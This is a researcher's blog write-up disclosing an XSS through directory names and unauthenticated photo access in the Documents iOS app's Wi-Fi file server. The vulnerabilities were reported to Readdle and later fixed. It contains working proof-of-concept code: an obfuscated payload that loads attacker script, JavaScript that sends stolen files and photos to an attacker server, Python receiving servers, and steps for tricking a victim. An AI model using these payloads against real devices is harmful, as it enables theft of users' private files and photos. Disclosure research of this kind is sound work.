[EN] A-Z: Documents - hacking web app inside iOS app

Documents is an iOS file manager app developed by Readdle. It has an HTTP server feature, which allows easy file transfer between the device and a computer in a local network. It’s also very interesting from the security perspective because we can expect a wider attack surface than in a typical mobile application. Running an HTTP server may expose the application to many kinds of web-related attacks.

Typical usage scenario of this feature:

  1. The user starts an HTTP server in the app.
  2. User types device’s IP address in a desktop browser.
  3. On the device, a randomly generated PIN appears.
  4. The user rewrites the PIN from the app to the browsers.
  5. The user becomes authenticated and granted access to the app data.

XSS

The application displays user-controllable data, so I decided to check if it can be abused somehow.

I created a directory with a payload <img loading="lazy" src=x onerror=alert(2)> in its name. (yeah, these characters are completely legal on iOS, macOS, Linux, etc.), but nothing happened - the directory name was displayed correctly.

However, there’s one more place where these names are displayed. It’s a current directory path, above file list, which is not so obvious while being in the root path. I entered my malicious directory and the payload executed - it was improperly displayed exactly in this place.

Ok, so I XSSed myself and that’s it? Of course not!

Exploitation

Delivery

I started wondering how this vulnerability could be used in a real-life scenario. I asked myself two questions, which lead me to a scenario requiring a little interaction with a victim.

  1. How to put malicious directory in on a victim’s device?
  2. How to convince the victim to open in it in a browser? An attack without user interaction would be awesome, but I didn’t find a way to do it.

Payload in directory name is a must, but it is possible to hide it a little bit. Documents handle zip files - by tapping an archive the app automatically unpacks it. On the other hand, Documents (and iOS itself) does not handle many common file formats like docx. So the user seeing docx may try opening it on the desktop.

Summarizing these steps:

1. Create malicious directory

$ mkdir '<img loading="lazy" src=x onerror=alert(2)>'

2. Create a docx file:

$ touch '<img loading="lazy" src=x onerror=alert(2)>/1.docx'

3. Zip it.

$ zip anything.zip '<img loading="lazy" src=x onerror=alert(2)>'

4. Send it to a victim (for example using email or any communicator). 5. The victim saves the attachment in Documents, unpacks it, notices a file in the unsupported format, then decides to open the file on the desktop. 6. The victim opens the browser navigates to Documents HTTP server. 7. The victim enters a directory from the archive - payload executes.

Payload, PoC

I couldn’t forget about payload. Popping alert is always fun, but what real harm could be done?

XSS gives full control over the affected web page (in a range of origin). So the first thing which came to my mind was just to steal files. Payload could read a list of files and directories and recursively go through them (download) and send them to the attacker’s server. I created PoC, but for quicker development, I decided to steal one file which path was hardcoded in payload.

Directory name:

Invoices <img loading="lazy" src=y onerror="s=document.createElement(&quot;script&quot;);s.setAttribute(&quot;src&quot;,atob(&quot;aHR0cDovLzE3Mi4yMC4xMC4yOjgwMDAvMS5qcw==&quot;));document.head.appendChild(s);">

This code would dynamically add script from http://172.20.10.2:8000/1.js. This is the IP of the attacker’s server (it could be an address on the local network or the Internet).

Content of 1.js file:

var x = new XMLHttpRequest();
x.open("GET","/rdwifidrive/open?sid=" + getSID() + "&path=%2Fother%2Fsecret.txt");
x.onreadystatechange = function() {
  if (x.readyState == 4) {
    var y = new XMLHttpRequest();
    y.open("POST", "http://evil.local:8000");
    y.send(x.response);
  }
};
x.send();

And simple python HTTP server to server 1.js and receive stolen files:

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

  def do_GET(self):
    self.send_response(200)
    self.send_header("Content-type", "text/javascript");
    self.end_headers()
    with open("1.js", "rb") as f:
      self.wfile.write(f.read())

  def do_POST(self):
    length = int(self.headers['Content-Length'])
    body = self.rfile.read(length).decode("utf-8")
    print("Received:\n" + body + "\n")
    self.send_response(200)
    self.send_header("Content-Type", "text/html");
    self.end_headers()

httpd = HTTPServer(('0.0.0.0', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()

PoC video

Bonus

When I was looking for XSSes I noticed one more thing. Device’s name is always displayed in the top-left corner (m in screenshots), so I changed my device’s name to check if it’s also vulnerable.

But for this one, I didn’t find any practical way to use it. Unless you convince someone to change their device’s name. ;)

Lack of authorization

The next thing on which I focused was proper authentication and authorization. I started with the most obvious mechanism - code verification. With no luck for me, the application properly handled code guessing and usage of unusual characters.

Let’s look at how this process works:

  1. We send our verification code, then we receive authentication status.
GET /rdwifidrive/auth?step=CODE&code=2865&_=1565273848603 HTTP/1.1
Host: 172.20.10.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.1/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-USBGate: lighttpd/compat
Accept-Ranges: bytes
Content-Length: 15
Content-Type: application/json
Date: Thu, 08 Aug 2019 14:17:43 GMT

{"status":"OK"}

2. If our code is correct, we attach it as Session-Id header in further requests.

GET /rdwifidrive/list?path=%2F&sort=sortByNameAsc&_=1565273848605 HTTP/1.1
Host: 172.20.10.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.1/
Session-Id: 2865
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-USBGate: lighttpd/compat
Accept-Ranges: bytes
Content-Length: 3078
Content-Type: application/json
Date: Thu, 08 Aug 2019 14:17:46 GMT

{"options":{"readOnly":false,"contentSort":"sortByNameAsc","layout":"default","photoLibraryContent":false,"photoLibraryAlbumContent"(...)

So, the application recognizes a legitimate user by Session-Id header. I spent some time in the web interface using different functionalities, collecting requests. Then, I went through captured traffic to check if all of the requests include this header and what would happen if I removed it.

These requests drew my attention:

GET /rdwifidrive/web_socket_url HTTP/1.1
Host: 172.20.10.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.3:8000/
Origin: http://172.20.10.3:8000
DNT: 1
Connection: close


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-USBGate: lighttpd/compat
Accept-Ranges: bytes
Content-Length: 42
Content-Type: application/json
Date: Sun, 04 Aug 2019 23:43:04 GMT

{"url":"ws:\/\/172.20.10.1:49294\/socket"}

The application doesn’t provide only an HTTP interface, but also Web Socket. Additionally, GET /rdwifidrive/web_socket_url is sent without Session-Id header. The application responds with a web socket URL even to unauthenticated users, so I analyzed web socket communication to ensure how authentication is handled in the WS layer.

WS request:

PREFETCHED_PHOTOS:null

WS response:

PREFETCHED_PHOTOS:{"content":[{"actionsDisabled":false,"dateStr":"00:48","duration":"","photoLargeThumbnail":"\/photos?path=%2Frdmount%2FPhotoLibrary%2FPLVFSManagerCollectionStart_D2D42CEB-ED49-40A8-9A66-DAD609C61AFD_L0_040_PLVFSManagerCollectionEnd%2F050C73AE-DC47-4780-8D72-D767306103FA_L0_001.PNG&width=1700&height=3017&hash=PREFETCH","favorite":false,"icon":"\/fileicons?path=\/_file.png","photoSmallThumbnailWidth":220,"photoLargeThumbnailSize":"1700x3017","path":"\/rdmount\/PhotoLibrary\/PLVFSManagerCollectionStart_D2D42CEB-ED49-40A8-9A66-DAD609C61AFD_L0_040_PLVFSManagerCollectionEnd\/050C73AE-DC47-4780-8D72-D767306103FA_L0_001.PNG","photoLargeThumbnailWidth":1700,"photoOriginalHeight":1136,"photoSmallThumbnail":"\/photos?path=%2Frdmount%2FPhotoLibrary%2FPLVFSManagerCollectionStart_D2D42CEB-ED49-40A8-9A66-DAD609C61AFD_L0_040_PLVFSManagerCollectionEnd%2F050C73AE-DC47-4780-8D72-D767306103FA_L0_001.PNG&width=220&height=390&hash=PREFETCH","gridIcon":"\/filegridicons?path=\/_file.png","size":18446744073709551615,"photoOriginalWidth":640,"sizeStr":"640x1136","dataIndex":0,"filename":"2019-08-05 00.48.32","date":1564958912.9922714,"photoSmallThumbnailHeight":390,"photoOriginalSize":"640x1136","readOnly":true,"photoOriginal":"\/photos?path=%2Frdmount%2FPhotoLibrary%2FPLVFSManagerCollectionStart_D2D42CEB-ED49-40A8-9A66-DAD609C61AFD_L0_040_PLVFSManagerCollectionEnd%2F050C73AE-DC47-4780-8D72-D767306103FA_L0_001.PNG&width=640&height=1136&hash=PREFETCH","videoPath":"","photoLargeThumbnailHeight":3017},{"actionsDisabled":false,[...]

Yes, no authentication at all and the server responds with paths of photos from Camera. The application has (of course if you grant) permission to Photos, which are available in Photo Albums directory (look at the second screenshot).

These paths are then used to get (large resolution) thumbnails of photos.

GET /photos?path=%2Frdmount%2FPhotoLibrary%2FPLVFSManagerCollectionStart_D2D42CEB-ED49-40A8-9A66-DAD609C61AFD_L0_040_PLVFSManagerCollectionEnd%2F050C73AE-DC47-4780-8D72-D767306103FA_L0_001.PNG&width=1700&height=3017&hash=PREFETCH HTTP/1.1
Host: 172.20.10.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.3:8000/
Origin: http://172.20.10.3:8000
DNT: 1
Connection: close


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: image/jpeg
Expires: 0
X-USBGate: lighttpd/compat
Accept-Ranges: bytes
Date: Sun, 04 Aug 2019 23:43:06 GMT
Cache-Directive: no-cache
Pragma-Directive: no-cache
Content-Length: 137165
Cache-Control: no-cache
Access-Control-Allow-Origin: *

[binary data]

Something’s missing in this request too. Session-Id again.

Exploitation

Putting things together, what can be done without authorization:

  1. Get the WebSocket URL.
  2. Connect to WebSocket and get Photos paths.
  3. Download photos using the received path.

It could be enough to steal photos from users in our local network. However, there’s one more thing, which you may have noticed already:

Access-Control-Allow-Origin: *

The server relaxes Same-Origin Policy that these requests can be issued from any domain making the application additionally vulnerable to CSRF. It extends exploitation possibilities, because this attack may be performed over the Internet.

Summarizing the whole issue, how attack could be performed:

  1. Attacker prepares a malicious website which:
    1. Gets WebSocket URL from a device
    2. Connects to the WebSocket and gets Photos paths
    3. Downloads photos using received paths
    4. Sends downloaded photos to the attacker’s server
  2. Attacker tricks a victim into opening its page
  3. The website performs steps 1.1 - 1.4, finally stealing photos.

Now, the last question may come to our minds - how the attacker may know an IP address of a victim’s device? There are two answers:

  1. If a victim is connected to a WiFi network - IP must be guessed.
  2. If a victim uses tethering - a device’s IP is always the same - 172.20.10.1.

PoC

For this vulnerability I also prepared PoC. It consists of:

1. Malicious website: index.html

<html>
<body>
<script>

var IP = "172.20.10.1";

getWebsocketUrl();

function getWebsocketUrl() {
  var x = new XMLHttpRequest();
  x.open("GET", "http://" + IP + "/rdwifidrive/web_socket_url");
  x.onreadystatechange = function() {
     if (x.readyState == 4) {
       getImagePaths(JSON.parse(x.response).url);
     }
  };
  x.send();
}

function getImagePaths(wsUrl) {
  console.log("WS: " + wsUrl);
  var ws = new WebSocket(wsUrl);
  ws.onmessage = function(msg) {
    ws.onmessage = null;
    obj = JSON.parse(msg.data.substring(18));
    stealPhotos(obj.content);
  }
  ws.onopen = function() {
    ws.send("PREFETCHED_PHOTOS:null");
  };
}

function stealPhotos(content) {
  for (var i = 0; i < content.length; i++) {
    var path = content[i].photoLargeThumbnail;
    getPhoto(path);
  }
}

function getPhoto(path) {
    console.log("Getting photo: " + path);
    var x = new XMLHttpRequest();
    x.open("GET", "http://" + IP + path);
    x.responseType = "arraybuffer";
    x.onreadystatechange = function() {
      if (x.readyState == 4) {
        sendHome(path, x.response);
      }
    };
    x.send();
}

function sendHome(path, response) {
  console.log("Sending photo: " + path);
  var name = path.split("=")[1].split("&")[0];
  var x = new XMLHttpRequest();
  x.open("POST", "/" + name);
  x.onreadystatechange = function() { };
  x.send(response);
}

</script>
</body>
</html>

2. Python server serving index.html and receiving photos.

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

  def do_GET(self):
    self.send_response(200)
    self.send_header("Content-type", "text/html; charset=utf-8");
    self.end_headers()
    with open("index.html", "rb") as f:
      self.wfile.write(f.read())

  def do_POST(self):
    length = int(self.headers['Content-Length'])
    body = self.rfile.read(length)
    name = self.path[1:]
    print("Received: " + name)
    self.send_response(200)
    self.send_header("Content-Type", "text/html");
    self.end_headers()
    with open("out/" + name, "xb") as f:
      f.write(body)

httpd = HTTPServer(('0.0.0.0', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()

Video

Submission

These vulnerabilities were submitted to Readdle in August 2019. They quickly responded and started working on fixes. The same month Readdle updated the application. Readdle rewarded me $1100 for these findings and announced they’re going to start the official Bug Bounty program.

Written on December 8, 2019 by Michał Dardas

We invite you to contact us

through the following form:

LogicalTrust sp. z o.o.
sp. k.

al. Aleksandra Brücknera 25-43
51-411 Wrocław, Poland, EU

NIP: 8952177980
KRS: 0000713515